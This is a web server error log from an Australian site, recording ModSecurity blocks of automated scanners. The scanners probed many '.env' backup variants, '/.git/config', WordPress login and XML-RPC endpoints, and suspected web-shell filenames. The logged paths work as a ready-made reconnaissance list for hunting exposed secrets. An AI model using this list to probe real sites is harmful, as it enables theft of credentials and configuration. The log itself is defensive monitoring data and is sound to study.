[Sat May 09 04:45:03.260511 2026] [:error] [pid 9920:tid 9944] [client 54.193.57.108:33542] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.backup"] [unique_id "af5LT0xitGYhlzgZb5ZJSgAAAdY"]
[Sat May 09 04:45:03.918987 2026] [:error] [pid 9833:tid 9859] [client 54.193.57.108:45746] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.save"] [unique_id "af5LTyM9JmxIS0KGZUApHgAAAZU"]
[Sat May 09 04:45:04.578854 2026] [:error] [pid 9833:tid 9856] [client 54.193.57.108:45748] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.old"] [unique_id "af5LUCM9JmxIS0KGZUApHwAAAZI"]
[Sat May 09 04:45:05.262098 2026] [:error] [pid 9293:tid 9302] [client 54.193.57.108:45758] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.sample"] [unique_id "af5LUZR__qEzV5O6Z2Oo3AAAAMU"]
[Sat May 09 04:45:05.920855 2026] [:error] [pid 9293:tid 9298] [client 54.193.57.108:45760] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.example"] [unique_id "af5LUZR__qEzV5O6Z2Oo4AAAAME"]
[Sat May 09 04:45:06.580148 2026] [:error] [pid 9920:tid 9939] [client 54.193.57.108:45766] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.dev"] [unique_id "af5LUkxitGYhlzgZb5ZJTgAAAdE"]
[Sat May 09 04:45:07.236651 2026] [:error] [pid 9184:tid 9210] [client 54.193.57.108:45776] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.prod"] [unique_id "af5LU4jfODqb_i0Fm99TGgAAAA0"]
[Sat May 09 04:45:07.890996 2026] [:error] [pid 9293:tid 9313] [client 54.193.57.108:45786] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.stage"] [unique_id "af5LU5R__qEzV5O6Z2Oo5QAAANA"]
[Sat May 09 04:45:08.549191 2026] [:error] [pid 9184:tid 9219] [client 54.193.57.108:45796] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.ci"] [unique_id "af5LVIjfODqb_i0Fm99THQAAABY"]
[Sat May 09 04:45:09.207087 2026] [:error] [pid 9186:tid 9234] [client 54.193.57.108:45804] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.docker"] [unique_id "af5LVRW4eFOEw1mKOgJraQAAAEg"]
[Sat May 09 04:45:09.858027 2026] [:error] [pid 9293:tid 9311] [client 54.193.57.108:45820] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.live"] [unique_id "af5LVZR__qEzV5O6Z2Oo7QAAAM4"]
[Sat May 09 04:45:10.520845 2026] [:error] [pid 9186:tid 9228] [client 54.193.57.108:45832] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.preprod"] [unique_id "af5LVhW4eFOEw1mKOgJrbAAAAEI"]
[Sat May 09 04:45:11.176697 2026] [:error] [pid 9186:tid 9250] [client 54.193.57.108:45842] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.uat"] [unique_id "af5LVxW4eFOEw1mKOgJrbQAAAFg"]
[Sat May 09 04:45:11.832669 2026] [:error] [pid 9920:tid 9943] [client 54.193.57.108:45852] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.dist"] [unique_id "af5LV0xitGYhlzgZb5ZJWQAAAdU"]
[Sat May 09 04:45:12.483490 2026] [:error] [pid 9920:tid 9940] [client 54.193.57.108:45864] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.swp"] [unique_id "af5LWExitGYhlzgZb5ZJWgAAAdI"]
[Sat May 09 04:45:13.142479 2026] [:error] [pid 9184:tid 9202] [client 54.193.57.108:45866] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env~"] [unique_id "af5LWYjfODqb_i0Fm99TJQAAAAU"]
[Sat May 09 04:45:13.799825 2026] [:error] [pid 9187:tid 9269] [client 54.193.57.108:43710] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env1"] [unique_id "af5LWRC7An6gkXsRsaHN2gAAAJA"]
[Sat May 09 04:45:14.445573 2026] [:error] [pid 9187:tid 9258] [client 54.193.57.108:43712] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env2"] [unique_id "af5LWhC7An6gkXsRsaHN3gAAAIU"]
[Sat May 09 04:45:15.103284 2026] [:error] [pid 9833:tid 9844] [client 54.193.57.108:43722] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env_copy"] [unique_id "af5LWyM9JmxIS0KGZUApIgAAAYY"]
[Sat May 09 04:45:15.759084 2026] [:error] [pid 9663:tid 9674] [client 54.193.57.108:43730] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.txt"] [unique_id "af5LW5cWIu01SCxbjwu5UAAAAQg"]
[Sat May 09 04:45:16.408982 2026] [:error] [pid 9186:tid 9250] [client 54.193.57.108:43742] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.json"] [unique_id "af5LXBW4eFOEw1mKOgJreQAAAFg"]
[Sat May 09 04:45:17.065663 2026] [:error] [pid 9186:tid 9238] [client 54.193.57.108:43750] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.yaml"] [unique_id "af5LXRW4eFOEw1mKOgJrfgAAAEw"]
[Sat May 09 04:45:17.721348 2026] [:error] [pid 9920:tid 9941] [client 54.193.57.108:43754] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.yml"] [unique_id "af5LXUxitGYhlzgZb5ZJZAAAAdM"]
[Sat May 09 04:45:18.379118 2026] [:error] [pid 9760:tid 9787] [client 54.193.57.108:43770] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/app/.env"] [unique_id "af5LXmIkCp-C_fh0s7L9XwAAAVU"]
[Sat May 09 04:45:19.039244 2026] [:error] [pid 9186:tid 9249] [client 54.193.57.108:43774] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/apps/.env"] [unique_id "af5LXxW4eFOEw1mKOgJrhQAAAFc"]
[Sat May 09 04:45:19.694064 2026] [:error] [pid 9187:tid 9263] [client 54.193.57.108:43778] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/api/.env"] [unique_id "af5LXxC7An6gkXsRsaHN6wAAAIo"]
[Sat May 09 04:45:20.352743 2026] [:error] [pid 9663:tid 9679] [client 54.193.57.108:43782] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/web/.env"] [unique_id "af5LYJcWIu01SCxbjwu5WQAAAQ0"]
[Sat May 09 04:45:21.010960 2026] [:error] [pid 9920:tid 9926] [client 54.193.57.108:43786] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/site/.env"] [unique_id "af5LYUxitGYhlzgZb5ZJagAAAcQ"]
[Sat May 09 10:19:49.426688 2026] [:error] [pid 9186:tid 9235] [client 20.151.175.120:23492] [client 20.151.175.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wk/index.php"] [unique_id "af6ZxRW4eFOEw1mKOgKjdwAAAEk"]
[Sat May 09 10:19:50.259498 2026] [:error] [pid 9663:tid 9675] [client 20.151.175.120:23070] [client 20.151.175.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wk/index.php"] [unique_id "af6ZxpcWIu01SCxbjwv_awAAAQk"]
[Sat May 09 10:19:51.103657 2026] [:error] [pid 9293:tid 9321] [client 20.151.175.120:23480] [client 20.151.175.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wk/index.php"] [unique_id "af6Zx5R__qEzV5O6Z2M6qwAAANg"]
[Sat May 09 10:19:51.929510 2026] [:error] [pid 9833:tid 9860] [client 20.151.175.120:23430] [client 20.151.175.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wk/index.php"] [unique_id "af6ZxyM9JmxIS0KGZUBZdAAAAZY"]
[Sat May 09 12:26:32.469608 2026] [proxy_fcgi:error] [pid 9920:tid 9922] [client 172.212.190.20:40005] AH01071: Got error 'Primary script unknown'
[Sat May 09 12:26:32.661386 2026] [proxy_fcgi:error] [pid 9920:tid 9930] [client 172.212.190.20:40005] AH01071: Got error 'Primary script unknown'
[Sat May 09 12:26:33.068170 2026] [proxy_fcgi:error] [pid 9920:tid 9941] [client 172.212.190.20:40005] AH01071: Got error 'Primary script unknown'
[Sat May 09 12:26:33.260122 2026] [proxy_fcgi:error] [pid 9920:tid 9939] [client 172.212.190.20:40005] AH01071: Got error 'Primary script unknown'
[Sat May 09 12:26:33.643898 2026] [proxy_fcgi:error] [pid 9920:tid 9931] [client 172.212.190.20:40005] AH01071: Got error 'Primary script unknown'
[Sat May 09 12:26:33.845519 2026] [proxy_fcgi:error] [pid 9920:tid 9940] [client 172.212.190.20:40005] AH01071: Got error 'Primary script unknown'
[Sat May 09 12:26:34.037784 2026] [proxy_fcgi:error] [pid 9920:tid 9934] [client 172.212.190.20:40005] AH01071: Got error 'Primary script unknown'
[Sat May 09 12:26:34.415977 2026] [:error] [pid 9920:tid 9938] [client 172.212.190.20:40005] [client 172.212.190.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "af63ekxitGYhlzgZb5a7swAAAdA"]
[Sat May 09 12:26:35.170312 2026] [:error] [pid 9293:tid 9309] [client 172.212.190.20:23346] [client 172.212.190.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "af63e5R__qEzV5O6Z2NuRgAAAMw"]
[Sat May 09 12:26:35.930006 2026] [:error] [pid 9293:tid 9299] [client 172.212.190.20:14525] [client 172.212.190.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "af63e5R__qEzV5O6Z2NuSQAAAMI"]
[Sat May 09 12:26:36.682402 2026] [:error] [pid 9293:tid 9315] [client 172.212.190.20:8832] [client 172.212.190.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "af63fJR__qEzV5O6Z2NuSwAAANI"]
[Sat May 09 12:28:30.892891 2026] [:error] [pid 9760:tid 9785] [client 35.188.41.196:63951] [client 35.188.41.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.188.41.196, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "af637mIkCp-C_fh0s7IzYAAAAVM"]
[Sat May 09 12:28:30.902358 2026] [proxy_fcgi:error] [pid 9760:tid 9785] [client 35.188.41.196:63951] AH01071: Got error 'Primary script unknown'
[Sat May 09 12:28:33.446143 2026] [:error] [pid 9760:tid 9767] [client 35.188.41.196:63951] [client 35.188.41.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "af638WIkCp-C_fh0s7IzbgAAAUE"]
[Sat May 09 12:28:33.835555 2026] [:error] [pid 9184:tid 9206] [client 35.188.41.196:64515] [client 35.188.41.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "af638YjfODqb_i0Fm9-D3AAAAAk"]
[Sat May 09 12:28:34.227114 2026] [:error] [pid 9186:tid 9242] [client 35.188.41.196:62036] [client 35.188.41.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "af638hW4eFOEw1mKOgK42wAAAFA"]
[Sat May 09 12:28:34.677996 2026] [:error] [pid 9663:tid 9670] [client 35.188.41.196:56381] [client 35.188.41.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "af638pcWIu01SCxbjwsYawAAAQQ"]
[Sat May 09 12:28:35.079299 2026] [:error] [pid 9663:tid 9682] [client 35.188.41.196:58638] [client 35.188.41.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "af6385cWIu01SCxbjwsYbAAAARA"]
[Sat May 09 12:28:35.536197 2026] [:error] [pid 9293:tid 9321] [client 35.188.41.196:58824] [client 35.188.41.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "af6385R__qEzV5O6Z2Nu0wAAANg"]
[Sat May 09 12:28:35.934733 2026] [:error] [pid 9293:tid 9306] [client 35.188.41.196:64469] [client 35.188.41.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "af6385R__qEzV5O6Z2Nu1QAAAMk"]
[Sat May 09 17:51:34.151305 2026] [:error] [pid 9293:tid 9319] [client 45.79.202.211:33298] [client 45.79.202.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.79.202.211, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "af8DppR__qEzV5O6Z2PIHwAAANY"]
[Sat May 09 17:51:34.160380 2026] [proxy_fcgi:error] [pid 9293:tid 9319] [client 45.79.202.211:33298] AH01071: Got error 'Primary script unknown'
[Sat May 09 17:51:36.347163 2026] [:error] [pid 9663:tid 9682] [client 45.79.202.211:33300] [client 45.79.202.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.79.202.211, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "af8DqJcWIu01SCxbjwtNrQAAARA"]
[Sat May 09 17:51:36.350948 2026] [proxy_fcgi:error] [pid 9663:tid 9682] [client 45.79.202.211:33300] AH01071: Got error 'Primary script unknown'
[Sat May 09 18:40:57.683589 2026] [:error] [pid 9187:tid 9272] [client 194.62.107.230:60671] [client 194.62.107.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "af8PORC7An6gkXsRsaHhBAAAAJM"]
[Sat May 09 19:37:41.889973 2026] [proxy_fcgi:error] [pid 9186:tid 9247] [client 145.239.10.137:48814] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/trknish.php
[Sat May 09 19:38:50.930482 2026] [proxy_fcgi:error] [pid 9833:tid 9852] [client 145.239.10.137:52421] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/maraz.php
[Sat May 09 22:44:38.229049 2026] [:error] [pid 55353:tid 55365] [client 34.18.21.226:33654] [client 34.18.21.226] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "af9IViDuyNO3XosoIYRnnQAAAQo"]
[Sun May 10 03:55:42.655980 2026] [:error] [pid 62910:tid 62932] [client 104.234.53.170:38549] [client 104.234.53.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.170, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "af-RPt5YAy_h5VqgWqhHYgAAANQ"]
[Sun May 10 03:55:42.682604 2026] [proxy_fcgi:error] [pid 62910:tid 62932] [client 104.234.53.170:38549] AH01071: Got error 'Primary script unknown'
[Sun May 10 22:00:54.012317 2026] [autoindex:error] [pid 16096:tid 16115] [client 20.5.8.136:51184] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun May 10 22:43:46.340157 2026] [:error] [pid 37030:tid 37043] [client 35.240.202.147:57276] [client 35.240.202.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "agCZoprBzfXWwKkDkda96wAAAMs"]
[Mon May 11 03:58:01.121319 2026] [:error] [pid 65366:tid 65379] [client 35.204.205.120:40030] [client 35.204.205.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "agDjSahVGdYzapDtv-HSpAAAAMo"]
[Mon May 11 08:13:36.129318 2026] [:error] [pid 65259:tid 65269] [client 34.17.23.193:35934] [client 34.17.23.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "agEfMAPsXLnMa32ma5Bd2AAAAAE"]
